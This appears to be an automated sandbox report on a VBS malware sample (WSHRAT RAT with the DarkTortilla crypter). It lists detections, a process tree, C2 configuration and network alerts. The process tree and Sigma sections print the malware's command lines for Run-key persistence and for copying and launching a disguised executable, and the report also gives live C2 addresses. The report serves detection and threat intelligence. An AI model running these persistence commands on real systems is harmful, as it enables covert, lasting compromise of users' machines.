Edit tour

Windows Analysis Report
ORDER-25013-67789543AX.vbs

Overview

General Information

Sample name:	ORDER-25013-67789543AX.vbs
Analysis ID:	1665235
MD5:	6b05858262470682bdc3297c6641a3db
SHA1:	699d8a5aa6e559cc597db68a9125d804f1350b8a
SHA256:	aba8289d1eacae0e2eac939d757b19a576667e4eb47c1d86cbee0ad73f0b3e1a
Tags:	vbsuser-abuse_ch
Infos:

Detection

WSHRat, DarkTortilla

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Detected WSHRat

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Register Wscript In Run Key

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

VBScript performs obfuscated calls to suspicious functions

Yara detected AntiVM3

Yara detected DarkTortilla Crypter

Yara detected WSHRAT

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Drops script or batch files to the startup folder

Hides that the sample has been downloaded from the Internet (zone.identifier)

Joe Sandbox ML detected suspicious sample

Potential malicious VBS script found (has network functionality)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: WScript or CScript Dropper - File

Tries to delay execution (extensive OutputDebugStringW loop)

Uses known network protocols on non-standard ports

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript called in batch mode (surpress errors)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to query the security center for anti-virus and firewall products

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: Script Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7884 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-25013-67789543AX.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 7932 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\rHMh.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 8028 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\DPGLXM.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 8076 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\adobe.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 8096 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\notepad.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

JaG.exe (PID: 8168 cmdline: "C:\Users\user\AppData\Local\Temp\JaG.exe" MD5: ADF762BBB2C8BE6A9D74FA8D12061864)

cmd.exe (PID: 7900 cmdline: "cmd" /c ping 127.0.0.1 -n 65 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 2408 cmdline: ping 127.0.0.1 -n 65 MD5: B3624DD758CCECF93A1226CEF252CA12)

reg.exe (PID: 6096 cmdline: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 2136 cmdline: "cmd" /c ping 127.0.0.1 -n 72 > nul && copy "C:\Users\user\AppData\Local\Temp\JaG.exe" "C:\Users\user\Audio\Windows Audio.exe" && ping 127.0.0.1 -n 72 > nul && "C:\Users\user\Audio\Windows Audio.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 3380 cmdline: ping 127.0.0.1 -n 72 MD5: B3624DD758CCECF93A1226CEF252CA12)

wscript.exe (PID: 652 cmdline: "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\adobe.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 5872 cmdline: "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\adobe.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 480 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 6132 cmdline: "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\adobe.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Houdini, WSHRAT	Houdini is a VBS-based RAT dating back to 2013. Past in the days, it used to be wrapped in an .exe but started being spamvertized or downloaded by other malware directly as .vbs in 2018. In 2019, WSHRAT appeared, a Javascript-based version of Houdini, recoded by the name of Kognito.	No Attribution	http://blog.morphisec.com/hworm-houdini-aka-njrat http://blogs.360.cn/post/analysis-of-apt-c-37.html https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/ https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.houdini

Name	Description	Attribution	Blogpost URLs	Link
DarkTortilla	DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks Counter Threat Unit (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver "addon packages" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.From January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.	No Attribution	https://www.secureworks.com/research/darktortilla-malware-analysis	https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla

Malware Configuration

Threatname: WSHRAT

{"C2 url": "lee44.kozow.com", "Port": "6892", "Install folder": "%temp%"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2596806001.000001E9CD392000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000005.00000002.2290405716.00000000038D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000008.00000002.2596539768.000001F861CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000003.00000003.1356330407.000001E9CB43A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000005.00000002.2287943742.00000000027D2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000008.00000002.2596539768.000001F861CA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000009.00000003.1644848582.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000008.00000003.1564044312.000001F85FE1A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000009.00000003.1640855197.000001B7E608A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000003.00000003.1355744491.000001E9CD449000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000003.00000002.2596806001.000001E9CD36D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000003.00000003.1682858553.000001E9CD36D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000005.00000002.2291109531.0000000004C30000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000009.00000003.1640525306.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000008.00000003.1558907071.000001F861D89000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000008.00000002.2596948186.000001F861D89000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000008.00000002.2596539768.000001F861C6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000003.00000002.2597045534.000001E9CD449000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000003.00000002.2595876491.000001E9CB221000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000003.00000003.1356488425.000001E9CD449000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000009.00000003.1640874613.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000008.00000002.2595948700.000001F85FBE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000009.00000003.1645277445.000001B7E5E20000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000005.00000002.2287943742.00000000027F3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000009.00000003.1640631442.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000008.00000003.1564280890.000001F861D89000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000009.00000003.1645147466.000001B7E5D80000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000005.00000002.2287943742.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Process Memory Space: wscript.exe PID: 8076	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
Process Memory Space: JaG.exe PID: 8168	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Process Memory Space: JaG.exe PID: 8168	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: wscript.exe PID: 5872	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
Process Memory Space: wscript.exe PID: 480	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author
5.2.JaG.exe.4c30000.1.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
5.2.JaG.exe.38d1a10.0.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
5.2.JaG.exe.4c30000.1.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
5.2.JaG.exe.38d1a10.0.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security

Other

Source	Rule	Description	Author
amsi64_8076.amsi.csv	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
amsi64_5872.amsi.csv	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
amsi64_480.amsi.csv	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security

Sigma Signatures

System Summary

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 104.168.7.12, DestinationIsIpv6: false, DestinationPort: 6892, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 8076, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49717

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\rHMh.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\rHMh.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-25013-67789543AX.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\rHMh.js" , ProcessId: 7932, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\rHMh.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\rHMh.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-25013-67789543AX.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\rHMh.js" , ProcessId: 7932, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-25013-67789543AX.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-25013-67789543AX.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-25013-67789543AX.vbs", ProcessId: 7884, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper - File

Source: File created

Author: Tim Shelton: Data: EventID: 11, Image: C:\Windows\System32\wscript.exe, ProcessId: 7884, TargetFilename: C:\Users\user\AppData\Local\Temp\rHMh.js

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\Audio\Windows Audio.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 6096, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\audiodg.exe

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe", CommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe", CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: "cmd" /c ping 127.0.0.1 -n 65 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7900, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe", ProcessId: 6096, ProcessName: reg.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "cmd" /c ping 127.0.0.1 -n 65 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe", CommandLine: "cmd" /c ping 127.0.0.1 -n 65 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\JaG.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\JaG.exe, ParentProcessId: 8168, ParentProcessName: JaG.exe, ProcessCommandLine: "cmd" /c ping 127.0.0.1 -n 65 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe", ProcessId: 7900, ProcessName: cmd.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 172.245.208.13, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7932, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49716

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-25013-67789543AX.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-25013-67789543AX.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-25013-67789543AX.vbs", ProcessId: 7884, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\wscript.exe, ProcessId: 8076, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js

Persistence and Installation Behavior

Sigma detected: Register Wscript In Run Key

Source: Registry Key set

Author: Joe Security: Data: Details: wscript.exe //B "C:\Users\user\AppData\Local\Temp\adobe.js", EventID: 13, EventType: SetValue, Image: C:\Windows\System32\wscript.exe, ProcessId: 8076, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adobe

Suricata Signatures

ET MALWARE WSHRAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T12:35:34.136315+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49717	104.168.7.12	6892	TCP
2025-04-15T12:35:39.498219+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49718	104.168.7.12	6892	TCP
2025-04-15T12:35:44.998596+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49725	104.168.7.12	6892	TCP
2025-04-15T12:35:50.316032+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49726	104.168.7.12	6892	TCP
2025-04-15T12:35:54.043709+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49727	104.168.7.12	6892	TCP
2025-04-15T12:35:58.765901+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49728	104.168.7.12	6892	TCP
2025-04-15T12:35:59.419689+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49729	104.168.7.12	6892	TCP
2025-04-15T12:36:04.498367+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49730	104.168.7.12	6892	TCP
2025-04-15T12:36:04.735249+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49731	104.168.7.12	6892	TCP
2025-04-15T12:36:09.856223+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49732	104.168.7.12	6892	TCP
2025-04-15T12:36:10.046901+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49733	104.168.7.12	6892	TCP
2025-04-15T12:36:15.156468+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49734	104.168.7.12	6892	TCP
2025-04-15T12:36:15.338671+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49735	104.168.7.12	6892	TCP
2025-04-15T12:36:20.471293+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49737	104.168.7.12	6892	TCP
2025-04-15T12:36:23.957380+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49738	104.168.7.12	6892	TCP
2025-04-15T12:36:29.345942+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49739	104.168.7.12	6892	TCP
2025-04-15T12:36:29.347964+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49740	104.168.7.12	6892	TCP
2025-04-15T12:36:34.660930+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49741	104.168.7.12	6892	TCP
2025-04-15T12:36:34.722463+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49742	104.168.7.12	6892	TCP
2025-04-15T12:36:39.964927+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49743	104.168.7.12	6892	TCP
2025-04-15T12:36:40.056719+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49744	104.168.7.12	6892	TCP
2025-04-15T12:36:45.266532+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49745	104.168.7.12	6892	TCP
2025-04-15T12:36:45.376709+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49746	104.168.7.12	6892	TCP
2025-04-15T12:36:54.017418+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49747	104.168.7.12	6892	TCP
2025-04-15T12:36:54.025394+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49748	104.168.7.12	6892	TCP
2025-04-15T12:36:59.329775+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49749	104.168.7.12	6892	TCP
2025-04-15T12:36:59.391943+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49750	104.168.7.12	6892	TCP
2025-04-15T12:37:04.660579+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49751	104.168.7.12	6892	TCP
2025-04-15T12:37:04.740778+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49752	104.168.7.12	6892	TCP
2025-04-15T12:37:10.079567+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49753	104.168.7.12	6892	TCP
2025-04-15T12:37:10.138169+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49754	104.168.7.12	6892	TCP
2025-04-15T12:37:15.394057+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49755	104.168.7.12	6892	TCP
2025-04-15T12:37:15.471862+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49756	104.168.7.12	6892	TCP
2025-04-15T12:37:23.834702+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49757	104.168.7.12	6892	TCP
2025-04-15T12:37:23.839817+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49758	104.168.7.12	6892	TCP
2025-04-15T12:37:29.151615+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49759	104.168.7.12	6892	TCP
2025-04-15T12:37:29.196725+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49760	104.168.7.12	6892	TCP
2025-04-15T12:37:34.473351+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49761	104.168.7.12	6892	TCP
2025-04-15T12:37:34.540511+0200	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49762	104.168.7.12	6892	TCP

ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T12:35:34.136315+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49717	104.168.7.12	6892	TCP
2025-04-15T12:35:39.498219+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49718	104.168.7.12	6892	TCP
2025-04-15T12:35:44.998596+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49725	104.168.7.12	6892	TCP
2025-04-15T12:35:50.316032+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49726	104.168.7.12	6892	TCP
2025-04-15T12:35:54.043709+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49727	104.168.7.12	6892	TCP
2025-04-15T12:35:58.765901+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49728	104.168.7.12	6892	TCP
2025-04-15T12:35:59.419689+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49729	104.168.7.12	6892	TCP
2025-04-15T12:36:04.498367+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49730	104.168.7.12	6892	TCP
2025-04-15T12:36:04.735249+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49731	104.168.7.12	6892	TCP
2025-04-15T12:36:09.856223+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49732	104.168.7.12	6892	TCP
2025-04-15T12:36:10.046901+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49733	104.168.7.12	6892	TCP
2025-04-15T12:36:15.156468+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49734	104.168.7.12	6892	TCP
2025-04-15T12:36:15.338671+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49735	104.168.7.12	6892	TCP
2025-04-15T12:36:20.471293+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49737	104.168.7.12	6892	TCP
2025-04-15T12:36:23.957380+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49738	104.168.7.12	6892	TCP
2025-04-15T12:36:29.345942+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49739	104.168.7.12	6892	TCP
2025-04-15T12:36:29.347964+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49740	104.168.7.12	6892	TCP
2025-04-15T12:36:34.660930+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49741	104.168.7.12	6892	TCP
2025-04-15T12:36:34.722463+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49742	104.168.7.12	6892	TCP
2025-04-15T12:36:39.964927+0200	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49743	104.168.7.12	6892	TCP
